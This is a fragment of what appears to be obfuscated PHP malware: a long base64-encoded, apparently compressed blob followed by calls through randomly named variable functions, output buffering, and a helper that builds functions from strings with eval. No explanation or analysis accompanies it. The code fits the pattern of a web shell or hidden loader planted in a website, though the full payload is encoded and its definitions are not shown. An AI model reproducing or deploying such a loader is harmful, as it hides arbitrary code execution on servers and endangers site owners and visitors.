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';
        $pxZBcZXMeS();$bkaqpmSvai($QRXxTVJzpa($MKSefBBIdS($cGHpKCpLpO)));
        $IJrBcBEBVF=$xnTMuPgNHb();
        $phtXiAfOZR();
        echo $IJrBcBEBVF;
        
        function fUMWIiKwEs($sArgs,$sCode)
        {
            return eval("return function($sArgs){{$sCode}};");
        }

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